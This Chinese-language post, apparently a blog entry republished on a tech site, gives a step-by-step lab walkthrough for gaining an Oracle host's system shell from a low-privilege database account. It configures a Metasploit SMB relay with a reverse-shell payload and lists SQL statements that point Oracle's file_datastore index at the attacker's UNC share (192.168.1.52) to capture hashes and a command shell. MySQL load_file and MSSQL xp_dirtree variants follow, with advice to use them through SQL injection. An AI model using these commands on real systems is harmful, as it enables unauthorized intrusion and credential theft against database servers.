使用低權(quán)限Oracle數(shù)據(jù)庫賬戶得到管理員權(quán)限
這幾天看了篇叫"Penetration: from application down to OS (Oracle)"的文檔,感覺挺有意思的,文檔的 大概意思就是說,如果 ORACLE 服務(wù)是用 administrator 賬戶啟動(dòng)的,你只要有一個(gè)具有 resource 和connect 權(quán)限的數(shù)據(jù)庫賬戶,就能利用 metasploit 的 smbrelay 功能,本地搭建一個(gè) SMB 欺 騙 服 務(wù) 器 , 來得到系統(tǒng)的訪問權(quán)限。我本地測(cè)試了下,還真的成功了。:-)
具體的原理分析看原文吧,我這里把我的測(cè)試過程寫出來.
我的滲透環(huán)境用的是 ubuntu8.10+metasploit 3.3 dev,oracle 數(shù)據(jù)庫版本為 10.2.0.1.0,服務(wù)啟動(dòng)權(quán)限為 administrator,數(shù)據(jù)庫賬戶用的是 dbsnmp 賬戶的默認(rèn)權(quán)限.
1.先用 netstat 命令查看一下,本地的 139 端口有沒有占用,一般占用此端口的服務(wù)就是 Samba 了,要關(guān)掉。ubuntu 的關(guān)閉方法是 sudo /etc/init.d/samba stop
2.運(yùn)行 metasploit,我選用的 PAYLOAD 是 shell_reverse_tcp,做好相應(yīng)配置后,exploit.就能用 netstat 看到本地已經(jīng)監(jiān)聽了 139 和 8522 端口了.
3.我現(xiàn)在使用 dbsnmp 默認(rèn)賬戶連接到 oracle 數(shù)據(jù)庫上,這個(gè)賬戶默認(rèn)權(quán)限是比較低的,只有 connect和 resource 權(quán)限。
4.然后執(zhí)行下面 3 條 SQL 語句
SQL> CREATE TABLE files(id NUMBER PRIMARY KEY,path VARCHAR(255)UNIQUE,ot_format VARCHAR(6));
SQL> INSERT INTO files VALUES(1,'\\192.168.1.52\mickey',NULL);
SQL> CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context2 PARAMETERS('datastore ctxsys.file_datastore format column ot_format');
當(dāng)執(zhí)行完 create index 這句的時(shí)候,在看咱們本地的 metasploit,就已經(jīng)得到 ORACLE 數(shù)據(jù)庫主機(jī)的系統(tǒng)當(dāng)前服務(wù)用戶的 half lm 哈希和 cmdshell 了。
后來經(jīng)過 pt007 的提醒,我又測(cè)試了 mysql,如果服務(wù)也是 administrator 啟動(dòng)的,用
select load_file('\\\\192.168.1.52\mk.txt')也是可以得到系統(tǒng)權(quán)限的.MSSQL 應(yīng)該用 xp_dirtree 存儲(chǔ)過程 也是可以的,不過我沒有配置出來用 administrator 賬戶啟動(dòng) MSSQL 服務(wù),希望知道的朋友指點(diǎn)下我。 這個(gè)技術(shù)可以用到內(nèi)網(wǎng) WEB 評(píng)估的時(shí)候,如果有注入,服務(wù)又是 administrator 啟動(dòng)的,可以提權(quán)了。
【編輯推薦】